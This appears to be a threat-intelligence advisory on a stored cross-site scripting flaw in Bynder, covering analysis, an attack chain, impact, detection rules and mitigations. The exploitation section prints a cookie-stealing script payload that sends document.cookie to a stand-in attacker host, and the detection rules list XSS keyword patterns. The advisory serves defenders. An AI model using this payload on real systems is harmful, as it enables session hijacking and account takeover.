CVE-2026-31153

Executive Summary

CVE-2026-31153 is a stored cross-site scripting (XSS) vulnerability in Bynder v0.1.394, a digital asset management (DAM) platform component. An attacker with low-privilege authenticated access can inject arbitrary JavaScript or HTML payloads that persist on the server and execute in the browsers of any user viewing the affected content — including administrators and other power users. The vulnerability carries a CVSS score of 5.4 (Medium) with a low attack complexity over the network, and importantly, no patch is currently available from any tracked source; the affected version remains exposed and unpatched.

Technical Analysis

The vulnerability resides in Bynder's handling of user-controllable input during content creation or metadata management operations. Specifically, Bynder v0.1.394 fails to properly sanitize or encode user-supplied data before storing it in the backend database and later rendering it in web pages. This is a classic CWE-79 (Cross-Site Scripting) stored/reflected flaw, but with the key characteristic that the payload persists — it is written to persistent storage and delivered to every subsequent visitor of the affected page.

The attack surface is the web interface used by authenticated Bynder users. Because the application uses a server-side rendering model or client-side templating that inserts stored data into HTML without proper output encoding, an attacker can inject a payload into fields such as asset names, descriptions, folder names, or custom metadata fields. When other users (including those with higher privilege levels) navigate to the affected asset or collection, the payload executes within their session context.

From a code perspective, the vulnerability likely exists in a server-side template or a JavaScript rendering function that concatenates user-provided strings directly into the DOM without invoking an escaping/encoding routine. For example, a field rendered as <div>{{ asset.description }}</div> without applying htmlEscape() would directly allow an injected <script> tag to fire. The stored nature of the payload means that the malicious code is served from the application's own origin, bypassing any protections that rely on domain trust (e.g., CSP directives are often relaxed for same-origin scripts).

The CVSS vector — CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N — reflects that the attacker needs valid credentials (PR:L), but the network attack surface and low complexity make the vulnerability trivial to trigger. The scope change (S:C) indicates that the XSS can impact resources beyond the vulnerable component, such as cookies, session tokens, or administrative functions accessible from the user's browser. Notably, the EPSS score of 0.00138 (3.6th percentile) suggests low current exploitation activity in the wild, but this does not diminish the risk given the absence of a patch.

Exploitation Scenarios

Attack Chain — Privilege Escalation via Stored XSS:

1. Reconnaissance and Target Identification: The attacker targets an organization using Bynder DAM. They first obtain low-privilege credentials through a phishing campaign, a leaked password database, or by registering a new low-tier account if self-registration is enabled. They enumerate the DAM portal to identify user-controllable fields — asset upload forms, folder descriptions, or tagging interfaces.

2. Payload Construction and Weaponization: The attacker crafts a JavaScript payload designed to steal administrator session tokens. For example, they use a payload that exfiltrates cookies to an attacker-controlled server:

   <script>
   fetch('https://attacker.example/collect?c=' + document.cookie);
   </script>
   

   Alternatively, a more sophisticated payload could modify an admin's actions — e.g., silently changing a user's role from "guest" to "admin" via CSRF-protected API calls that inherit the admin's browser session.

3. Trigger and Persistence: The attacker uploads a new asset (or edits an existing one) and places the payload into the asset name or description field. Since the application does not sanitize input, the payload is stored verbatim in the database. The asset is then made publicly visible or shared within a team to maximize exposure.

4. Execution and Post-Exploitation: When an administrator or another user with elevated privileges opens the asset, the stored script executes in their browser. The script harvests cookies or performs state-changing actions on their behalf. Using the stolen admin session, the attacker gains full control of the DAM environment — deleting assets, exfiltrating proprietary media files, or pivoting to connected internal systems via SSO token theft. If other users with access to the same asset are lower-privileged, the attacker could also chain the XSS with CSRF attacks to modify their own role.

The attack is viable entirely over the network, requires no physical access, and the stored payload ensures repeatable exploitation against multiple victims.

Impact Assessment

The primary business impact is confidentiality loss and integrity compromise within the digital asset management environment. The CVSS subscores (C:L, I:L) indicate limited direct impact per victim, but the scope change means the XSS can pivot beyond the DAM to steal session tokens for interconnected applications — potentially including SSO identity providers or internal wikis. For enterprises using Bynder as their central brand-asset repository, this creates a supply-chain-like risk: if an attacker compromises the DAM, they can alter marketing materials, product images, or legal documents that are subsequently distributed across the organization's web properties.

The blast radius includes all authenticated Bynder users (administrators, content managers, external contributors) who interact with the affected module. Given the stored nature, the attack is persistent and does not require a user to click a malicious link — merely viewing a contaminated asset triggers execution. The Medium severity (5.4) is appropriate given the prerequisite of low-privilege authentication, but the real-world impact can be elevated to High for organizations that rely heavily on the DAM for sensitive media governance (e.g., regulated industries with strict data handling requirements). The single-user or low-availability impact is mitigated because the attack does not disrupt service, but the silent data theft could go undetected for extended periods.

Detection Guidance

Sigma Rule

title: Bynder Stored XSS - JavaScript Injection in Asset Fields
id: 7f4c1a9e-2b5d-4c6a-9e3f-1a2b3c4d5e6f
status: experimental
description: Detects stored XSS payloads in Bynder asset metadata fields
logsource:
  category: web_application
  product: itsme
detection:
  selection:
    event.action: asset.create
    event.category: web
  keywords:
    - '<script>'
    - 'javascript:'
    - 'onerror='
    - 'onload='
  condition: selection and keywords
falsepositives:
  - Legitimate use of HTML in asset descriptions by trusted admins
level: high
tags:
  - attack.t1059.007
  - cve.2026.31153
  - cwe.79

YARA Rule

rule Bynder_Stored_XSS_Payload {
    meta:
        author = "ValterSIT Threat Intel"
        description = "Detects XSS payload strings in Bynder content"
        cve = "CVE-2026-31153"
        cwe = "CWE-79"
    strings:
        $xss1 = "<script>" ascii nocase
        $xss2 = "javascript:" ascii nocase
        $xss3 = "onerror=" ascii nocase
        $xss4 = "onload=" ascii nocase
        $xss5 = "document.cookie" ascii nocase
        $xss6 = "fetch(" ascii nocase
    condition:
        any of ($xss*) and filesize < 100KB
}

Suricata IDS Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2026-31153 - Bynder Stored XSS Payload in POST Request";
    flow:to_server,established;
    http.method;
    content:"POST";
    http.request_body;
    content:"<script>|20|";
    http.request_body;
    content:"document.cookie";
    threshold:type both, track by_src, count 3, seconds 60;
    classtype:web-application-attack;
    reference:cve,2026-31153;
    sid:20261153;
    rev:1;
)

Elastic Detection

sequence with maxspan=5m
  [ any where process.name == "java" and event.action == "POST" ]
  [ any where network.protocol == "http" and http.request.body.text contains "<script>" ]
  [ any where network.protocol == "http" and http.response.status_code == 200 ]

Splunk SPL Query

index=web access_log
| where like(http_method, "POST")
| search uri_path="/api/assets*" request_body="*<script>*"
| eval payload_length = len(request_body)
| stats count by src_ip, uri_path, request_body
| sort - count, _time desc
| table _time, src_ip, uri_path, request_body, payload_length

Wazuh OSSEC Rule

<group name="bynder,xss,">
  <rule id="311530" level="12">
    <decoded_as>json</decoded_as>
    <field name="url">/api/assets</field>
    <field name="method">POST</field>
    <match><![CDATA[<script>|onerror=|javascript:]]></match>
    <description>Bynder stored XSS payload detected in asset creation request</description>
    <mitre><id>T1059.007</id></mitre>
    <group>attack.execution,cwe.79,</group>
    <info type="cve">CVE-2026-31153</info>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Confidence: 0/4 — UNPATCHED. No patch is available from any tracked source. The vendor has not released a fixed version, and there is no vendor advisory with corrective action.

1) Immediate Mitigations (implement today):

• Disable or restrict self-registration — if external users can create accounts, require manual approval by an administrator to reduce the low-privilege entry point.
• Input validation at the application layer — deploy a WAF rule that rejects any request body containing <script>, javascript:, or event-handler attributes (e.g., onerror, onload) in Bynder API endpoints.
• Enforce strict Content Security Policy (CSP) on the Bynder domain — specifically script-src 'self' and disable inline script execution via unsafe-inline. This will prevent the execution of injected scripts even if they are stored.
• Monitor asset creation and modification logs for unusual payloads, particularly from low-privilege accounts.

2) Patch/Upgrade Steps: As no patched version exists, direct upgrading is not currently possible. Monitor the vendor's security advisory page and CVE feeds for announcements. Immediate action: downgrade the risk by isolating Bynder instances from the broader internal network via segmentation, and restrict access to a minimal set of trusted IP addresses to reduce the attack surface.

3) Long-Term Hardening:

• Output encoding audit — once a patch is available, conduct a code review focused on server-side rendering and template escaping in all modules that handle user-generated strings.
• Adopt an automated DAST/SAST pipeline for the Bynder application and any custom integrations to catch future injection flaws.
• Enforce role-based access control (RBAC) with least-privilege principles — revoke write permissions to asset metadata for all but a small trusted group.
• Implement robust session management with short-lived cookies and HttpOnly flags to limit the value of stolen tokens.

References

1. NVD Entry for CVE-2026-31153 — https://nvd.nist.gov/vuln/detail/CVE-2026-31153 (confirms CVSS score, description, and CWE classification)
2. Bynder Official Security Advisories — https://www.bynder.com/security/ (vendor page — monitor for patches; currently no advisory for this CVE)
3. Mitre CVE Reference — https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-31153 (CNA record)
4. CISA Known Exploited Vulnerabilities Catalog — https://www.cisa.gov/known-exploited-vulnerabilities-catalog (CVE-2026-31153 is NOT listed, but the catalog is updated routinely — re-check quarterly)
5. PortSwigger's XSS Filter Evasion Cheat Sheet — https://portswigger.net/web-security/cross-site-scripting/cheat-sheet (authoritative reference on payload construction and bypass techniques relevant to this vulnerability class)

No known threat actor campaigns have been publicly attributed to CVE-2026-31153, and exploitation evidence in the wild is currently minimal (EPSS 0.00138). However, the unpatched status and low authentication barrier make this a likely candidate for future mass scanning by botnets and opportunistic attackers.